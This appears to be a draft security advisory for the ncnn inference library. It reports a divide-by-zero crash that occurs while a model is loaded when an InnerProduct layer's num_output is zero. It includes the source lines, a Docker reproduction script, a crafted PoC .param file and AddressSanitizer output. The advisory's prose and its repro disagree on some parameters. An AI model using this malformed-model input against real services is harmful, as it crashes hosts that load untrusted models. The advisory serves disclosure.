All advisories
Draft

Divide-By-Zero DoS During Model Loading

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Divide-By-Zero DoS During Model Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/innerproduct_x86.cpp:84 in InnerProduct_x86::create_pipeline
Sanitizer verdict: FPE on unknown address 0x5c5a425e415c (pc 0x5c5a425e415c bp 0x7ffc58e62070 sp 0x7ffc58e62040 T0)

Summary

An InnerProduct layer whose num_output parameter is zero crashes the x86 backend with SIGFPE during pipeline creation, before any inference runs. num_output is attacker-controlled through parameter field 0 of the .param file and is used unguarded as a divisor to recover the input count from weight_data_size. The PoC reaches this through ncnnoptimize poc.param poc.bin out.param out.bin 2, and any x86 host calling ncnn::Net::load_model on an untrusted model is affected the same way.

Detail

InnerProduct::load_param reads num_output = pd.get(0, 0) — the default is already zero — and weight_data_size = pd.get(2, 0), with no relationship enforced between them. InnerProduct::load_model only rejects an empty weight blob, so a .bin carrying a single FP32 value passes. Net::load_model then calls create_pipeline on the layer, and every x86 variant of that function begins by dividing by num_output.

// src/layer/innerproduct.cpp:20
    num_output = pd.get(0, 0);

// src/layer/x86/innerproduct_x86.cpp:84
    const int num_input = weight_data_size / num_output;

// src/layer/x86/innerproduct_x86.cpp:271
int InnerProduct_x86::create_pipeline_fp16s(const Option& opt)
{
    const int num_input = weight_data_size / num_output;

The PoC layer line is InnerProduct ip 1 1 data out 0=0 1=0 2=1, giving num_output = 0, bias_term = 0 and weight_data_size = 1; the .bin supplies a zero tag word followed by one FP32 weight. weight_data_size / num_output is therefore 1 / 0.

Which of the two identical expressions traps depends on the option flags the caller selects. create_pipeline dispatches to create_pipeline_fp16s at line 80 when the CPU supports F16C and opt.use_fp16_storage is set — the optimization level the repro passes to ncnnoptimize enables exactly that — so the observed SIGFPE lands on line 273; with fp16 storage disabled the same division is reached at line 84. Either way the process aborts inside ncnn::Net::load_model.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-divide-by-zero-dos-during-model-loading && cd ncnn-poc-divide-by-zero-dos-during-model-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 2
InnerProduct ip 1 1 a b 0=0 2=1
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name a failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x55bb13dad15c (pc 0x55bb13dad15c bp 0x7ffd9b1ff8e0 sp 0x7ffd9b1ff8b0 T0)
    #0 0x55bb13dad15c in ncnn::InnerProduct_x86_avx512::create_pipeline_fp16s(ncnn::Option const&) /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:273
    #1 0x55bb13da790c in ncnn::InnerProduct_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:80
    #2 0x55bb10e03c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #3 0x55bb10d17c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #4 0x78a9d11101c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x78a9d111028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x55bb10c97624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:273 in ncnn::InnerProduct_x86_avx512::create_pipeline_fp16s(ncnn::Option const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst